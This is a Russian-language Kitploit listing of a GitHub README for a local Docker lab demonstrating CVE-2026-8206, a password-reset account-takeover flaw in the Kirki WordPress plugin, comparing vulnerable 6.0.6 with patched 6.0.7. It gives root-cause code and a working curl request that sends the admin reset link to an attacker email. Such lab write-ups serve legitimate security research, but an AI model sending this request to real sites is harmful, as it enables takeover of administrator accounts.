Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-8206-Lab | Kitploit
Инструменты/GitHubGitHub/rootdirective-sec/cve-2026-8206-lab
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийCTFОбучение и ОбразованиеЛаборатории и Практика
GitHubrootdirective-sec/cve-2026-8206-lab

CVE-2026-8206-Lab

Репозиторий
2 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-8206 - лаборатория по захвату учётной записи Kirki

Локальная Docker-лаборатория для демонстрации CVE-2026-8206 в WordPress-плагине Kirki.

Этот репозиторий сравнивает реальные релизы плагина Kirki:

  • vuln: Kirki 6.0.6
  • patched: Kirki 6.0.7

Лаборатория работает только локально и привязывает сервисы WordPress к 127.0.0.1. PoC наносит минимальный вред: он запрашивает сброс пароля и проверяет получателя перехваченного письма внутри лаборатории. Он не изменяет ни один пароль.


Сводка

CVE-2026-8206 — это уязвимость неаутентифицированного захвата учётной записи / повышения привилегий в версиях Kirki с 6.0.0 по 6.0.6.

Уязвимый обработчик сброса пароля создаёт ключ сброса для реального пользователя WordPress, выбранного по username, но отправляет письмо для сброса на произвольный адрес электронной почты, указанный в запросе.

В этой лаборатории:

root@kitploit:~
vulnerable => ссылка сброса для admin отправляется на [email protected]
patched    => несовпадающий email отклоняется, письмо для сброса на [email protected] не отправляется

Затронутый компонент

  • Продукт: Kirki – Freeform Page Builder, Website Builder & Customizer
  • Затронутые версии: с 6.0.0 по 6.0.6
  • Исправленная версия: 6.0.7
  • Уязвимый endpoint, используемый в этой лаборатории:
root@kitploit:~
/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password

Первопричина

Уязвимый обработчик находится в:

root@kitploit:~
wp-content/plugins/kirki/ComponentLibrary/controller/CompLibFormHandler.php

Уязвимое поведение в 6.0.6

Kirki читает email, предоставленный атакующим, из тела запроса:

root@kitploit:~
$email = isset( $form_data['email'] ) ? sanitize_email( $form_data['email'] ) : '';

Затем он находит целевого пользователя WordPress по username и создаёт для этого пользователя ключ сброса пароля:

root@kitploit:~
$key = get_password_reset_key( $user );

Но итоговое письмо для сброса отправляется на $email из запроса:

root@kitploit:~
$sent = wp_mail( $email, $email_subject, $email_body, $headers );

Это разрушает границу доверия между идентификатором учётной записи и получателем письма для сброса пароля. Неаутентифицированный запрашивающий может указать:

root@kitploit:~
username=admin
[email protected]

Ключ сброса принадлежит admin, но письмо доставляется на адрес, контролируемый атакующим.

Исправленное поведение в 6.0.7

Kirki 6.0.7 проверяет, что указанный email совпадает с зарегистрированным email найденного пользователя, а затем перед отправкой принудительно устанавливает получателем email учётной записи:

root@kitploit:~
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    // reject request
}

$email = $user_email;
$sent  = wp_mail( $email, $email_subject, $email_body, $headers );

Устройство лаборатории

Локальная почта перехватывается в файлы, а не отправляется наружу:

root@kitploit:~
artifacts/vuln-mail/
artifacts/patched-mail/

В лаборатории используются реальные версии плагина Kirki, установленные с помощью WP-CLI. Исходный код плагина не модифицируется.


Структура репозитория

root@kitploit:~
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── docker/
│   ├── capture-mail
│   └── mail-capture.ini
├── scripts/
│   └── setup-wordpress.sh
├── poc/
│   ├── poc_local.py
│   └── run_lab_poc.sh
├── docs/
│   └── notes.md
├── SAFETY.md
├── README.md
└── .gitignore

Требования

  • Docker Desktop или Docker Engine
  • Docker Compose v2
  • Python 3
  • пакет Python requests

При необходимости установите зависимость Python:

root@kitploit:~
python3 -m pip install requests

Запуск лаборатории

Запустите контейнеры:

root@kitploit:~
docker compose up -d --build

Инициализируйте оба экземпляра WordPress:

root@kitploit:~
docker compose run --rm wpcli_vuln
docker compose run --rm wpcli_patched

Запустите PoC:

root@kitploit:~
chmod +x poc/run_lab_poc.sh
./poc/run_lab_poc.sh

Ожидаемые результаты

Уязвимая версия: Kirki 6.0.6

Ожидаемый результат:

root@kitploit:~
[+] request: http=200 body='{"message":"Email sent"}'
[+] mail_state=MAIL_TO_ATTACKER_WITH_RESET_LINK: ссылка сброса отправлена на email, контролируемый атакующим
[+] verdict=VULNERABLE_BEHAVIOR_CONFIRMED
    To: [email protected]
    Subject: CVE-2026-8206 local lab proof

Это доказывает, что уязвимая версия отправила письмо для сброса пароля целевой учётной записи на адрес, контролируемый атакующим.

Исправленная версия: Kirki 6.0.7

Ожидаемый результат:

root@kitploit:~
[+] request: http=404 body='{"message":"Invalid email address"}'
[+] mail_file=none
[+] mail_state=NO_MAIL: нет перехваченного письма для сброса пароля
[+] verdict=PATCHED_BEHAVIOR_CONFIRMED_NO_RESET_MAIL_TO_ATTACKER

Это доказывает, что исправленная версия отклоняет несоответствие username/email и не отправляет письмо для сброса пароля на адрес, контролируемый атакующим.


Ручная проверка

Создайте корректный nonce элемента Kirki внутри уязвимой лаборатории:

root@kitploit:~
NONCE="$(docker compose run --rm --entrypoint wp wpcli_vuln eval 'echo wp_create_nonce(KIRKI_COMPONENT_LIBRARY_APP_PREFIX . "_kirki-forgot-password");' | tail -n 1)"

Отправьте локальный запрос к уязвимому сервису:

root@kitploit:~
curl -i -s -X POST "http://127.0.0.1:8081/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password" \
  -H "X-WP-Element-Nonce: $NONCE" \
  -d "username=admin" \
  -d "[email protected]" \
  --data-urlencode "emailSubject=CVE-2026-8206 local lab proof" \
  --data-urlencode 'emailBody=[{"type":"text","value":"Local lab reset link: "},{"type":"chip","value":"reset_link"}]'

Проверьте перехваченную почту:

root@kitploit:~
grep -R "^To:\|action=rp\|login=admin" artifacts/vuln-mail/

Ожидаемые доказательства уязвимости:

root@kitploit:~
To: [email protected]
... action=rp ... login=admin ...

Безопасность

Эта лаборатория предназначена только для локальных исследований в области безопасности и демонстрации в портфолио.

Ограничения:

  • Привязывает сервисы только к 127.0.0.1.
  • Использует фиктивные локальные адреса электронной почты.
  • Перехватывает почту локально, а не отправляет реальные письма.
  • Не изменяет пароли.
  • Не пытается эксплуатировать внешние системы.

Очистка

root@kitploit:~
docker compose down -v --remove-orphans
rm -rf artifacts/vuln-mail artifacts/patched-mail

Ссылки

  • Запись CVE: https://www.cve.org/CVERecord?id=CVE-2026-8206
  • Консультация Wordfence: https://www.wordfence.com/blog/2026/06/unauthenticated-privilege-escalation-vulnerability-patched-in-kirki-wordpress-plugin/
  • База данных уязвимостей Wordfence: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kirki/kirki-600-606-unauthenticated-privilege-escalation-via-handle-forgot-password
  • Страница плагина / журнал изменений WordPress: https://wordpress.org/plugins/kirki/
  • Запись OpenCVE: https://app.opencve.io/cve/CVE-2026-8206
Скачать инструмент
СервисНазначениеURL хоста
vulnWordPress + Kirki 6.0.6http://127.0.0.1:8081
patchedWordPress + Kirki 6.0.7http://127.0.0.1:8082
db_vulnMySQL для уязвимого WordPressтолько сеть Docker
db_patchedMySQL для исправленного WordPressтолько сеть Docker
wpcli_vulnИнициализирует уязвимый WordPressодноразовая настройка
wpcli_patchedИнициализирует исправленный WordPressодноразовая настройка